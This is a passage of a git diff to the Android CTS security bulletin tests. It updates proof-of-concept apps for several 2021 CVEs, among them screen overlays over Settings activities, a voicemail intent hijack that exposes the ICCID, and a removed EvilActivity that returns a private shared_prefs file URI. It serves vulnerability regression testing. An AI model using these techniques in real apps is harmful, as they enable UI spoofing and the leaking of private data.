-    Log.d(TAG, prefix + "o.getResourceName()=" + rname);
-    Log.d(TAG, prefix + "o.getChildCount()=" + o.getChildCount());
-
-    if( rname != null && rname.equals(name) && checked) {
-      ret |= IS_CHECKED_FLAG;
-    }
-    else if(lname != null && lname.equals(name) || cdesc != null && cdesc.equals(name) || rname != null && rname.equals(name) ) {
-      ret |= IS_FOUND_FLAG;
-    }
-
-    if(ret != 0) {
-      Log.d(TAG, prefix + "found-->" + name);
-      return ret;
-    } else {
-      java.util.List<UiObject2> objects2 = o.getChildren();
-      if(objects2 != null && objects2.size() > 0 && prefix.length() < 50) {
-        for (UiObject2 o2 : objects2) {
-          if((ret=searchAndLog(o2, name, prefix + "__")) != 0){
-            return ret;
-          }
-        }
-      }
-    }
-    return ret;
-  }
-
-}
-
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
deleted file mode 100644
index 92f0ec3..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.security.cts.CVE_2021_0481;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.util.Log;
-
-import androidx.annotation.Nullable;
-import androidx.appcompat.app.AppCompatActivity;
-
-public class EvilActivity extends Activity {
-
-    final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt";
-    private static final String TAG = "TAG_2021_0481";
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.d(TAG, "EvilActivity started!");
-        setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));
-        finish();
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
index a105e84..7ff1369 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
@@ -21,18 +21,17 @@
 
 android_test_helper_app {
     name: "CVE-2021-0523",
-    srcs: [
-        "src/android/security/cts/CVE_2021_0523/PocActivity.java",
-        "src/android/security/cts/CVE_2021_0523/PocService.java",
-    ],
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
     test_suites: [
         "cts",
         "vts10",
         "sts",
-        "general-tests",
     ],
-    sdk_version: "system_current",
     static_libs: [
-        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
     ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
index 0d51208..e21b9b7 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
@@ -20,24 +20,30 @@
     android:versionName="1.0">
 
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 
     <application
         android:allowBackup="true"
         android:label="CVE-2021-0523"
         android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
         <service
             android:name=".PocService"
             android:enabled="true"
             android:exported="false" />
 
-        <activity android:name=".PocActivity" android:exported="true">
+        <activity android:name=".PocActivity"
+            android:exported="true"
+            android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
     </application>
+
+   <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.cve_2021_0523" />
 </manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
new file mode 100644
index 0000000..dcdbe0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
new file mode 100644
index 0000000..5804a31
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0523;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+    private static final String TEST_PKG_WIFI = "com.android.settings";
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+    String mActivityDump = "";
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        if (Settings.canDrawOverlays(getApplicationContext())) {
+            Intent intent = new Intent(getApplicationContext(), PocService.class);
+            context.startService(intent);
+        } else {
+            try {
+                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                context.startActivity(intent);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    @Before
+    public void startMainActivityFromHomeScreen() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        PackageManager packageManager = context.getPackageManager();
+        assertNotNull(packageManager);
+        final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+        assertNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        /* Start the launcher activity */
+        context.startActivity(intent);
+        /* Wait for the WifiScanModeActivity */
+        if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+        /* Start the overlay service */
+        startOverlayService();
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        Pattern pattern = Pattern.compile(
+                getApplicationContext().getResources().getString(R.string.overlay_button),
+                Pattern.CASE_INSENSITIVE);
+        BySelector selector = By.text(pattern);
+        /* Wait for an object of the overlay window */
+        if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+        /* Check if the currently running activity is WifiScanModeActivity */
+        try {
+            mActivityDump = mDevice.executeShellCommand("dumpsys activity");
+        } catch (IOException e) {
+            throw new RuntimeException("Could not execute dumpsys activity command");
+        }
+        Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n");
+        if (!activityPattern.matcher(mActivityDump).find()) {
+            return;
+        }
+        String message = "Device is vulnerable to b/174047492 hence any app with "
+                + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
+        assertNull(message, mDevice.findObject(selector));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
index 17aab09..3e35266 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
@@ -17,61 +17,22 @@
 package android.security.cts.cve_2021_0523;
 
 import android.app.Activity;
+import android.content.ActivityNotFoundException;
 import android.content.Intent;
-import android.content.Context;
 import android.net.wifi.WifiManager;
-import android.os.Build;
 import android.os.Bundle;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
-import android.provider.Settings;
 
 public class PocActivity extends Activity {
-    private WakeLock mScreenLock;
-    private Context mContext;
-
-    private void startOverlayService() {
-        if (Settings.canDrawOverlays(this)) {
-            Intent intent = new Intent(PocActivity.this, PocService.class);
-            startService(intent);
-        } else {
-            try {
-                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
-                startActivityForResult(intent, 1);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-    }
-
-    private void stopOverlayService() {
-        Intent intent = new Intent(PocActivity.this, PocService.class);
-        stopService(intent);
-    }
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
-        mContext = this.getApplicationContext();
-        PowerManager pm = mContext.getSystemService(PowerManager.class);
-        mScreenLock = pm.newWakeLock(
-                PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
-                "PocActivity");
-        mScreenLock.acquire();
-        try {
-            Thread.sleep(6000);
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
         super.onCreate(savedInstanceState);
         setContentView(R.layout.activity_main);
-        startOverlayService();
         Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE);
-        startActivityForResult(intent, 2);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-        mScreenLock.release();
+        try {
+            startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            // do nothing
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
index bef2beb..a106c28 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
@@ -19,18 +19,12 @@
 import android.app.Service;
 import android.content.Intent;
 import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.Color;
 import android.graphics.PixelFormat;
-import android.os.Build;
 import android.os.Handler;
 import android.os.IBinder;
 import android.provider.Settings;
 import android.view.Gravity;
-import android.view.MotionEvent;
-import android.view.View;
 import android.view.WindowManager;
-import android.view.WindowManager.LayoutParams;
 import android.widget.Button;
 
 public class PocService extends Service {
@@ -84,9 +78,8 @@
     private void showFloatingWindow() {
         if (Settings.canDrawOverlays(this)) {
             mButton = new Button(getApplicationContext());
-            mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE
+            mButton.setText(getResources().getString(R.string.overlay_button));
             mWindowManager.addView(mButton, mLayoutParams);
-            mButton.setOnTouchListener(new FloatingOnTouchListener());
             new Handler().postDelayed(new Runnable() {
                 @Override
                 public void run() {
@@ -96,25 +89,4 @@
             mButton.setTag(mButton.getVisibility());
         }
     }
-
-    private static class FloatingOnTouchListener implements View.OnTouchListener {
-
-        @Override
-        public boolean onTouch(View view, MotionEvent event) {
-            view.setDrawingCacheEnabled(true);
-            view.buildDrawingCache();
-            Bitmap bitmap = view.getDrawingCache();
-            int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2);
-            int red = Color.red(pixel);
-            int green = Color.green(pixel);
-            int blue = Color.blue(pixel);
-            view.setDrawingCacheEnabled(false);
-            if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) {
-                throw new RuntimeException(
-                    "Device is vulnerable to b/174047492 hence any app with " +
-                    "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen");
-            }
-            return false;
-        }
-    }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
index 73c8e10..3ffb7df 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -16,30 +16,34 @@
 
 package android.security.cts.cve_2021_0586;
 
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.net.Uri;
+
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.By;
 import androidx.test.uiautomator.BySelector;
 import androidx.test.uiautomator.UiDevice;
 import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.IOException;
 import java.util.regex.Pattern;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
 
 @RunWith(AndroidJUnit4.class)
 public class DeviceTest {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
-    private static final String TEST_PKG_BT = "com.android.settings";
     private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private Pattern overlayTextPattern;
     private UiDevice mDevice;
     String activityDump = "";
 
@@ -68,26 +72,29 @@
         final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
         assertNotNull(intent);
         intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
         /* Start the launcher activity */
         context.startActivity(intent);
-        Pattern pattern = Pattern.compile(
+        overlayTextPattern = Pattern.compile(
                 getApplicationContext().getResources().getString(R.string.overlay_button),
                 Pattern.CASE_INSENSITIVE);
-        /* Wait for the overlay window */
-        if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) {
-            return;
-        }
-        /* Start the DevicePickerActivity */
-        startDevicePickerActivity();
     }
 
     @Test
     public void testOverlayButtonPresence() {
-        BySelector selector = By.pkg(TEST_PKG_BT);
-        /* Wait for an object of DevicePickerActivity */
-        if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+        /* Wait for the overlay window */
+        if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
             return;
         }
+
+        /* Start the DevicePickerActivity */
+        startDevicePickerActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+
         /* Check if the currently running activity is DevicePickerActivity */
         try {
             activityDump = mDevice.executeShellCommand("dumpsys activity");
@@ -98,8 +105,10 @@
         if (!activityPattern.matcher(activityDump).find()) {
             return;
         }
+
+        /* Failing the test as fix is not present */
         String message = "Device is vulnerable to b/182584940 hence any app with "
                 + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
-        assertNotNull(message, mDevice.findObject(selector));
+        fail(message);
     }
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
index bcbf54f..50acd29 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,19 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-0642",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
new file mode 100644
index 0000000..fadda57
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.cve_2021_0642"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2021-0642"
+        android:supportsRtl="true">
+
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.cve_2021_0642" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
new file mode 100644
index 0000000..7460b96
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
new file mode 100644
index 0000000..8fc235b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    static final String APP_TITLE = "CVE-2021-0642";
+    static final String PACKAGE_NAME = "com.android.phone";
+    static final int LAUNCH_TIMEOUT_MS = 20000;
+
+    @Test
+    public void testCVE_2021_0642() {
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        Context context = getApplicationContext();
+        assertThat(context, notNullValue());
+        PackageManager packageManager = context.getPackageManager();
+        assertThat(packageManager, notNullValue());
+        assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+        final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            context.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(e);
+        }
+
+        // Check if "com.android.phone" exists on the system
+        try {
+            packageManager.getPackageUid(PACKAGE_NAME, 0);
+        } catch (PackageManager.NameNotFoundException e) {
+            assumeNoException(e);
+        }
+
+        // Wait for activity (which is part of package "com.android.phone") that
+        // handles ACTION_CONFIGURE_VOICEMAIL to get launched
+        boolean isVoicemailVisible =
+                device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS);
+
+        // To check if PocActivity was launched
+        BySelector selector = By.enabled(true);
+        List<UiObject2> objects = device.findObjects(selector);
+        boolean isPocActivityVisible = false;
+        for (UiObject2 o : objects) {
+            String visibleText = o.getText();
+            if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) {
+                isPocActivityVisible = true;
+                break;
+            }
+        }
+        device.pressHome();
+
+        assumeTrue(isVoicemailVisible || isPocActivityVisible);
+
+        String outputMsg = "Device is vulnerable to b/185126149 "
+                + "hence sensitive Iccid could be sniffed by intercepting "
+                + "ACTION_CONFIGURE_VOICEMAIL implicit intent";
+        assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible)));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
new file mode 100644
index 0000000..1a335c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import android.app.Activity;
+
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
index f0ab82b..e7cd554 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
@@ -20,7 +20,6 @@
     name: "CVE-2021-0921",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    platform_apis: true,
     test_suites: [
         "cts",
         "vts10",
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
index 67b3b02..3ba129b 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
@@ -20,7 +20,6 @@
     name: "CVE-2021-0928",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    platform_apis: true,
     test_suites: [
         "cts",
         "vts10",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
index bcbf54f..c458976 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
@@ -12,15 +12,29 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- *
  */
 
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-0953",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
new file mode 100644
index 0000000..ddc942f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
